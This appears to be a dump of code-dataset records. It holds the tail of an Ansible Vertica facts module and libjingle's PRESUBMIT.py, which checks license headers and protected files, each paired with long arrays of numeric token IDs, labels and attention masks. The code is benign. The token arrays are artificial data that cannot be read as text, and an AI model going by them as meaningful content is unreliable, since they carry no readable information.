'vertica_roles': role_facts, 'vertica_configuration': configuration_facts, 'vertica_nodes': node_facts}) except NotSupportedError: e = get_exception() module.fail_json(msg=str(e)) except SystemExit: # avoid catching this on python 2.4 raise except Exception: e = get_exception() module.fail_json(msg=e) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 16, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 408, 199, 2595, 199, 578, 26, 809, 15922, 63, 5047, 199, 1023, 63, 3270, 26, 283, 18, 14, 16, 7, 199, 3612, 63, 1802, 26, 19634, 83, 5444, 15922, 3050, 9036, 14, 199, 1802, 26, 523, 446, 19634, 83, 5444, 15922, 3050, 9036, 14, 199, 1419, 26, 523, 4350, 26, 272, 1369, 26, 489, 446, 2812, 402, 314, 4350, 3879, 314, 4177, 14, 272, 1415, 26, 3055, 272, 849, 26, 11667, 523, 1844, 26, 272, 1369, 26, 489, 8692, 1844, 370, 4907, 370, 14, 272, 1415, 26, 3055, 272, 849, 26, 13470, 1153, 523, 1592, 26, 272, 1369, 26, 489, 446, 2812, 402, 314, 3050, 3879, 314, 4177, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 523, 4676, 63, 751, 26, 272, 1369, 26, 489, 446, 710, 3434, 1202, 370, 12895, 543, 14, 272, 1415, 26, 3055, 272, 849, 26, 1592, 2113, 523, 4676, 63, 2060, 26, 272, 1369, 26, 489, 446, 710, 2505, 1202, 370, 12895, 543, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 199, 5983, 26, 523, 446, 710, 849, 6299, 15194, 626, 1265, 787, 1902, 2050, 315, 465, 503, 14682, 7, 316, 272, 370, 314, 445, 8, 697, 2113, 9, 2933, 641, 314, 1591, 14, 523, 446, 961, 859, 4440, 445, 8, 647, 19887, 395, 282, 2018, 593, 23317, 3050, 12146, 14, 2047, 1471, 4868, 272, 626, 445, 8, 11864, 47, 23317, 9, 436, 445, 8, 647, 19887, 9, 365, 4903, 641, 314, 1591, 436, 7684, 7526, 14, 523, 446, 4094, 4039, 445, 8, 11864, 47, 23317, 9, 367, 5444, 15922, 5074, 445, 8, 6158, 275, 1182, 2992, 15, 12101, 696, 15, 773, 772, 15, 773, 12101, 696, 19887, 14, 1152, 9, 272, 370, 506, 3483, 370, 314, 445, 8, 3673, 15922, 9, 3420, 402, 1902, 445, 29478, 6839, 15, 19887, 3615, 14, 2730, 9, 503, 445, 22187, 9524, 8083, 19887, 3615, 14, 2730, 9, 272, 436, 3865, 445, 8, 547, 14508, 2042, 275, 1182, 2992, 15, 12101, 696, 15, 773, 772, 9, 436, 445, 8, 6158, 2988, 7630, 275, 9094, 13, 975, 9, 272, 370, 506, 3483, 370, 314, 445, 8, 6158, 9, 3420, 402, 1902, 445, 29478, 6839, 15, 12101, 696, 14, 2730, 9, 503, 445, 22187, 9524, 8083, 12101, 696, 14, 2730, 680, 199, 7538, 26, 359, 283, 11864, 47, 23317, 297, 283, 647, 19887, 7, 1622, 199, 2502, 26, 298, 36, 759, 527, 90, 593, 13683, 90, 1530, 75, 8593, 983, 264, 7697, 2924, 199, 624, 199, 199, 8918, 275, 408, 199, 13, 536, 26, 13082, 316, 809, 15922, 9036, 523, 809, 15922, 63, 5047, 26, 1592, 29, 697, 63, 354, 199, 624, 199, 199, 893, 26, 272, 492, 1134, 19887, 199, 2590, 3545, 26, 272, 1134, 19887, 63, 4214, 275, 756, 199, 2836, 26, 272, 1134, 19887, 63, 4214, 275, 715, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 647, 5819, 1194, 492, 664, 63, 1971, 421, 199, 533, 2832, 10682, 547, 8, 1726, 304, 272, 986, 199, 199, 3, 859, 2488, 3423, 199, 199, 318, 664, 63, 3629, 63, 5047, 8, 3937, 12, 4177, 9280, 272, 9036, 275, 1052, 272, 3920, 14, 2526, 4852, 267, 3504, 4177, 63, 354, 12, 4177, 63, 4597, 12, 1218, 63, 521, 267, 687, 308, 24448, 419, 267, 2382, 440, 365, 63, 2253, 63, 3629, 436, 4177, 63, 354, 440, 315, 661, 3455, 358, 267, 436, 7558, 275, 2125, 503, 4177, 63, 354, 284, 2930, 5805, 9, 272, 10327, 4177, 12, 4177, 9, 272, 1830, 715, 26, 267, 4730, 275, 3920, 14, 3535, 3479, 8, 1960, 9, 267, 340, 440, 4730, 26, 288, 2059, 267, 367, 1962, 315, 4730, 26, 288, 9036, 59, 1143, 14, 3629, 63, 354, 14, 2325, 5106, 275, 469, 355, 283, 354, 356, 1962, 14, 3629, 63, 354, 12, 355, 283, 4597, 356, 1962, 14, 3629, 63, 4597, 12, 355, 283, 981, 63, 521, 356, 620, 8, 1143, 14, 981, 63, 521, 395, 355, 283, 3807, 63, 8050, 356, 990, 355, 283, 981, 63, 8050, 356, 23455, 272, 3920, 14, 2526, 4852, 267, 3504, 486, 14, 785, 63, 354, 465, 4177, 63, 354, 12, 519, 14, 354, 465, 4719, 63, 354, 12, 267, 5117, 8, 71, 14, 27852, 63, 1802, 9, 20001, 63, 1802, 267, 687, 11689, 519, 4263, 7192, 2285, 486, 267, 641, 486, 14, 26655, 15557, 275, 519, 14, 354, 436, 486, 14, 785, 63, 466, 534, 10926, 7, 267, 436, 486, 14, 27852, 63, 1802, 2839, 1543, 20274, 5, 7, 267, 436, 486, 14, 26655, 15557, 440, 315, 661, 3455, 297, 283, 697, 2113, 358, 267, 436, 7558, 275, 2125, 503, 486, 14, 785, 63, 354, 284, 2930, 5805, 9, 272, 10327, 4177, 12, 4177, 9, 272, 1830, 715, 26, 267, 4730, 275, 3920, 14, 3535, 3479, 8, 1960, 9, 267, 340, 440, 4730, 26, 288, 2059, 267, 367, 1962, 315, 4730, 26, 288, 4177, 63, 498, 275, 1962, 14 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 16, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 408, 199, 2595, 199, 578, 26, 809, 15922, 63, 5047, 199, 1023, 63, 3270, 26, 283, 18, 14, 16, 7, 199, 3612, 63, 1802, 26, 19634, 83, 5444, 15922, 3050, 9036, 14, 199, 1802, 26, 523, 446, 19634, 83, 5444, 15922, 3050, 9036, 14, 199, 1419, 26, 523, 4350, 26, 272, 1369, 26, 489, 446, 2812, 402, 314, 4350, 3879, 314, 4177, 14, 272, 1415, 26, 3055, 272, 849, 26, 11667, 523, 1844, 26, 272, 1369, 26, 489, 8692, 1844, 370, 4907, 370, 14, 272, 1415, 26, 3055, 272, 849, 26, 13470, 1153, 523, 1592, 26, 272, 1369, 26, 489, 446, 2812, 402, 314, 3050, 3879, 314, 4177, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 523, 4676, 63, 751, 26, 272, 1369, 26, 489, 446, 710, 3434, 1202, 370, 12895, 543, 14, 272, 1415, 26, 3055, 272, 849, 26, 1592, 2113, 523, 4676, 63, 2060, 26, 272, 1369, 26, 489, 446, 710, 2505, 1202, 370, 12895, 543, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 199, 5983, 26, 523, 446, 710, 849, 6299, 15194, 626, 1265, 787, 1902, 2050, 315, 465, 503, 14682, 7, 316, 272, 370, 314, 445, 8, 697, 2113, 9, 2933, 641, 314, 1591, 14, 523, 446, 961, 859, 4440, 445, 8, 647, 19887, 395, 282, 2018, 593, 23317, 3050, 12146, 14, 2047, 1471, 4868, 272, 626, 445, 8, 11864, 47, 23317, 9, 436, 445, 8, 647, 19887, 9, 365, 4903, 641, 314, 1591, 436, 7684, 7526, 14, 523, 446, 4094, 4039, 445, 8, 11864, 47, 23317, 9, 367, 5444, 15922, 5074, 445, 8, 6158, 275, 1182, 2992, 15, 12101, 696, 15, 773, 772, 15, 773, 12101, 696, 19887, 14, 1152, 9, 272, 370, 506, 3483, 370, 314, 445, 8, 3673, 15922, 9, 3420, 402, 1902, 445, 29478, 6839, 15, 19887, 3615, 14, 2730, 9, 503, 445, 22187, 9524, 8083, 19887, 3615, 14, 2730, 9, 272, 436, 3865, 445, 8, 547, 14508, 2042, 275, 1182, 2992, 15, 12101, 696, 15, 773, 772, 9, 436, 445, 8, 6158, 2988, 7630, 275, 9094, 13, 975, 9, 272, 370, 506, 3483, 370, 314, 445, 8, 6158, 9, 3420, 402, 1902, 445, 29478, 6839, 15, 12101, 696, 14, 2730, 9, 503, 445, 22187, 9524, 8083, 12101, 696, 14, 2730, 680, 199, 7538, 26, 359, 283, 11864, 47, 23317, 297, 283, 647, 19887, 7, 1622, 199, 2502, 26, 298, 36, 759, 527, 90, 593, 13683, 90, 1530, 75, 8593, 983, 264, 7697, 2924, 199, 624, 199, 199, 8918, 275, 408, 199, 13, 536, 26, 13082, 316, 809, 15922, 9036, 523, 809, 15922, 63, 5047, 26, 1592, 29, 697, 63, 354, 199, 624, 199, 199, 893, 26, 272, 492, 1134, 19887, 199, 2590, 3545, 26, 272, 1134, 19887, 63, 4214, 275, 756, 199, 2836, 26, 272, 1134, 19887, 63, 4214, 275, 715, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 647, 5819, 1194, 492, 664, 63, 1971, 421, 199, 533, 2832, 10682, 547, 8, 1726, 304, 272, 986, 199, 199, 3, 859, 2488, 3423, 199, 199, 318, 664, 63, 3629, 63, 5047, 8, 3937, 12, 4177, 9280, 272, 9036, 275, 1052, 272, 3920, 14, 2526, 4852, 267, 3504, 4177, 63, 354, 12, 4177, 63, 4597, 12, 1218, 63, 521, 267, 687, 308, 24448, 419, 267, 2382, 440, 365, 63, 2253, 63, 3629, 436, 4177, 63, 354, 440, 315, 661, 3455, 358, 267, 436, 7558, 275, 2125, 503, 4177, 63, 354, 284, 2930, 5805, 9, 272, 10327, 4177, 12, 4177, 9, 272, 1830, 715, 26, 267, 4730, 275, 3920, 14, 3535, 3479, 8, 1960, 9, 267, 340, 440, 4730, 26, 288, 2059, 267, 367, 1962, 315, 4730, 26, 288, 9036, 59, 1143, 14, 3629, 63, 354, 14, 2325, 5106, 275, 469, 355, 283, 354, 356, 1962, 14, 3629, 63, 354, 12, 355, 283, 4597, 356, 1962, 14, 3629, 63, 4597, 12, 355, 283, 981, 63, 521, 356, 620, 8, 1143, 14, 981, 63, 521, 395, 355, 283, 3807, 63, 8050, 356, 990, 355, 283, 981, 63, 8050, 356, 23455, 272, 3920, 14, 2526, 4852, 267, 3504, 486, 14, 785, 63, 354, 465, 4177, 63, 354, 12, 519, 14, 354, 465, 4719, 63, 354, 12, 267, 5117, 8, 71, 14, 27852, 63, 1802, 9, 20001, 63, 1802, 267, 687, 11689, 519, 4263, 7192, 2285, 486, 267, 641, 486, 14, 26655, 15557, 275, 519, 14, 354, 436, 486, 14, 785, 63, 466, 534, 10926, 7, 267, 436, 486, 14, 27852, 63, 1802, 2839, 1543, 20274, 5, 7, 267, 436, 486, 14, 26655, 15557, 440, 315, 661, 3455, 297, 283, 697, 2113, 358, 267, 436, 7558, 275, 2125, 503, 486, 14, 785, 63, 354, 284, 2930, 5805, 9, 272, 10327, 4177, 12, 4177, 9, 272, 1830, 715, 26, 267, 4730, 275, 3920, 14, 3535, 3479, 8, 1960, 9, 267, 340, 440, 4730, 26, 288, 2059, 267, 367, 1962, 315, 4730, 26, 288, 4177, 63, 498, 275, 1962, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
bpsinc-native/src_third_party_libjingle_source_talk
PRESUBMIT.py
2
5115
# libjingle # Copyright 2013 Google Inc. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # 3. The name of the author may not be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED # WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO # EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; # OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # List of files that should not be committed to DO_NOT_SUBMIT_FILES = [ "talk/media/webrtc/webrtcmediaengine.h", "talk/media/webrtc/webrtcvideoengine.cc", "talk/media/webrtc/webrtcvideoengine.h", "talk/media/webrtc/webrtcvideoengine_unittest.cc"] def _LicenseHeader(input_api): """Returns the license header regexp.""" # Accept any year number from start of project to the current year current_year = int(input_api.time.strftime('%Y')) allowed_years = (str(s) for s in reversed(xrange(2004, current_year + 1))) years_re = '(' + '|'.join(allowed_years) + ')' years_re = '%s(--%s)?' % (years_re, years_re) license_header = ( r'.*? libjingle\n' r'.*? Copyright %(year)s,? Google Inc\.\n' r'.*?\n' r'.*? Redistribution and use in source and binary forms, with or without' r'\n' r'.*? modification, are permitted provided that the following conditions ' r'are met:\n' r'.*?\n' r'.*? 1\. Redistributions of source code must retain the above copyright ' r'notice,\n' r'.*? this list of conditions and the following disclaimer\.\n' r'.*? 2\. Redistributions in binary form must reproduce the above ' r'copyright notice,\n' r'.*? this list of conditions and the following disclaimer in the ' r'documentation\n' r'.*? and/or other materials provided with the distribution\.\n' r'.*? 3\. The name of the author may not be used to endorse or promote ' r'products\n' r'.*? derived from this software without specific prior written ' r'permission\.\n' r'.*?\n' r'.*? THIS SOFTWARE IS PROVIDED BY THE AUTHOR \`\`AS IS\'\' AND ANY ' r'EXPRESS OR IMPLIED\n' r'.*? WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES ' r'OF\n' r'.*? MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ' r'DISCLAIMED\. IN NO\n' r'.*? EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, ' r'INCIDENTAL,\n' r'.*? SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES \(INCLUDING, ' r'BUT NOT LIMITED TO,\n' r'.*? PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR ' r'PROFITS;\n' r'.*? OR BUSINESS INTERRUPTION\) HOWEVER CAUSED AND ON ANY THEORY OF ' r'LIABILITY,\n' r'.*? WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT \(INCLUDING ' r'NEGLIGENCE OR\n' r'.*? OTHERWISE\) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, ' r'EVEN IF\n' r'.*? ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\.\n' ) % { 'year': years_re, } return license_header def _ProtectedFiles(input_api, output_api): results = [] changed_files = [] for f in input_api.AffectedFiles(): changed_files.append(f.LocalPath()) bad_files = list(set(DO_NOT_SUBMIT_FILES) & set(changed_files)) if bad_files: error_type = output_api.PresubmitError results.append(error_type( 'The following affected files are only allowed to be updated when ' 'importing libjingle', bad_files)) return results def _CommonChecks(input_api, output_api): """Checks common to both upload and commit.""" results = [] results.extend(input_api.canned_checks.CheckLicense( input_api, output_api, _LicenseHeader(input_api))) results.extend(_ProtectedFiles(input_api, output_api)) return results def CheckChangeOnUpload(input_api, output_api): results = [] results.extend(_CommonChecks(input_api, output_api)) return results def CheckChangeOnCommit(input_api, output_api): results = [] results.extend(_CommonChecks(input_api, output_api)) return results
bsd-3-clause
[ 3, 1212, 468, 2361, 199, 3, 1898, 6171, 4475, 3277, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 7647, 26, 199, 3, 199, 3, 221, 413, 14, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 4245, 12, 199, 3, 258, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 221, 499, 14, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 4245, 12, 199, 3, 258, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 3794, 199, 3, 258, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 221, 650, 14, 710, 536, 402, 314, 4132, 1443, 440, 506, 1202, 370, 10692, 503, 10016, 7585, 199, 3, 258, 7131, 687, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 17632, 1124, 1179, 2281, 891, 2401, 1821, 7168, 1549, 5292, 199, 3, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 2990, 1634, 199, 3, 3169, 2401, 3092, 2381, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 199, 3, 6461, 7000, 2334, 17632, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 199, 3, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 199, 3, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 199, 3, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 334, 6446, 9254, 1549, 199, 3, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 9704, 8036, 199, 3, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 3, 3820, 402, 1584, 626, 1077, 440, 506, 27659, 370, 199, 1649, 63, 4609, 63, 6348, 13965, 63, 9472, 275, 359, 272, 298, 21890, 15, 4603, 15, 2520, 23392, 15, 2520, 23392, 4603, 3908, 14, 72, 401, 272, 298, 21890, 15, 4603, 15, 2520, 23392, 15, 2520, 23392, 3722, 3908, 14, 2055, 401, 272, 298, 21890, 15, 4603, 15, 2520, 23392, 15, 2520, 23392, 3722, 3908, 14, 72, 401, 272, 298, 21890, 15, 4603, 15, 2520, 23392, 15, 2520, 23392, 3722, 3908, 63, 2796, 14, 2055, 937, 199, 199, 318, 485, 3761, 2567, 8, 1210, 63, 1246, 304, 523, 408, 3407, 314, 4190, 1406, 13156, 1041, 523, 327, 15506, 1263, 5361, 1329, 687, 1343, 402, 2199, 370, 314, 1453, 5361, 523, 1453, 63, 3403, 275, 1109, 8, 1210, 63, 1246, 14, 521, 14, 6205, 3508, 57, 1333, 523, 4370, 63, 18431, 275, 334, 495, 8, 83, 9, 367, 308, 315, 10822, 8, 21120, 8, 15431, 12, 1453, 63, 3403, 435, 413, 1724, 523, 17399, 63, 264, 275, 16746, 435, 21590, 904, 8, 6541, 63, 18431, 9, 435, 16107, 523, 17399, 63, 264, 275, 1543, 83, 8, 306, 5, 83, 5547, 7, 450, 334, 18431, 63, 264, 12, 17399, 63, 264, 9, 523, 4190, 63, 1291, 275, 334, 489, 519, 1370, 15279, 1212, 468, 2361, 60, 78, 7, 489, 519, 1370, 15279, 1898, 2818, 3403, 9, 83, 12, 31, 4475, 3277, 60, 3134, 78, 7, 489, 519, 24898, 8995, 78, 7, 489, 519, 1370, 15279, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 7, 267, 519, 1154, 78, 7, 489, 519, 1370, 15279, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 283, 267, 519, 7, 1530, 7647, 3427, 78, 7, 489, 519, 24898, 8995, 78, 7, 489, 519, 1370, 15279, 413, 4537, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 283, 267, 519, 7, 20556, 4202, 78, 7, 489, 519, 1370, 15279, 259, 642, 769, 402, 3704, 436, 314, 2569, 6450, 60, 3134, 78, 7, 489, 519, 1370, 15279, 499, 4537, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 283, 267, 519, 7, 7307, 4245, 4202, 78, 7, 489, 519, 1370, 15279, 259, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 283, 267, 519, 5121, 679, 760, 425, 60, 78, 7, 489, 519, 1370, 15279, 259, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 60, 3134, 78, 7, 489, 519, 1370, 15279, 650, 4537, 710, 536, 402, 314, 4132, 1443, 440, 506, 1202, 370, 10692, 503, 10016, 283, 267, 519, 7, 13336, 60, 78, 7, 489, 519, 1370, 15279, 259, 7131, 687, 642, 2032, 1928, 2488, 6791, 5313, 283, 267, 519, 7, 5693, 60, 3134, 78, 7, 489, 519, 24898, 8995, 78, 7, 489, 519, 1370, 15279, 5749, 4141, 2281, 7049, 6515, 2334, 17632, 971, 25502, 64, 1179, 2281, 24908, 7, 2401, 1821, 283, 267, 519, 7, 1438, 5786, 1549, 5292, 60, 78, 7, 489, 519, 1370, 15279, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 2990, 283, 267, 519, 7, 3359, 60, 78, 7, 489, 519, 1370, 15279, 3169, 2401, 3092, 2381, 437, 3115, 3104, 9315, 283, 267, 519, 7, 6178, 8766, 1149, 4537, 1621, 4825, 60, 78, 7, 489, 519, 1370, 15279, 6461, 7000, 2334, 17632, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 283, 267, 519, 7, 25205, 9678, 4202, 78, 7, 489, 519, 1370, 15279, 8820, 12, 9836, 12, 1549, 9110, 6736, 25445, 6446, 12, 283, 267, 519, 7, 12728, 2845, 5471, 2296, 4202, 78, 7, 489, 519, 1370, 15279, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 283, 267, 519, 7, 2514, 9037, 3779, 78, 7, 489, 519, 1370, 15279, 1549, 9748, 9831, 31736, 9802, 9817, 2401, 5258, 1821, 9815, 1634, 283, 267, 519, 7, 2673, 2477, 4202, 78, 7, 489, 519, 1370, 15279, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 25445, 6446, 283, 267, 519, 7, 6388, 9179, 1549, 60, 78, 7, 489, 519, 1370, 15279, 7334, 31736, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 283, 267, 519, 7, 37, 8253, 8036, 60, 78, 7, 489, 519, 1370, 15279, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 60, 3134, 78, 7, 523, 776, 450, 469, 489, 283, 3403, 356, 17399, 63, 264, 12, 523, 789, 523, 372, 4190, 63 ]
[ 1212, 468, 2361, 199, 3, 1898, 6171, 4475, 3277, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 7647, 26, 199, 3, 199, 3, 221, 413, 14, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 4245, 12, 199, 3, 258, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 221, 499, 14, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 4245, 12, 199, 3, 258, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 3794, 199, 3, 258, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 221, 650, 14, 710, 536, 402, 314, 4132, 1443, 440, 506, 1202, 370, 10692, 503, 10016, 7585, 199, 3, 258, 7131, 687, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 17632, 1124, 1179, 2281, 891, 2401, 1821, 7168, 1549, 5292, 199, 3, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 2990, 1634, 199, 3, 3169, 2401, 3092, 2381, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 199, 3, 6461, 7000, 2334, 17632, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 199, 3, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 199, 3, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 199, 3, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 334, 6446, 9254, 1549, 199, 3, 7334, 9, 7043, 1621, 1821, 9683, 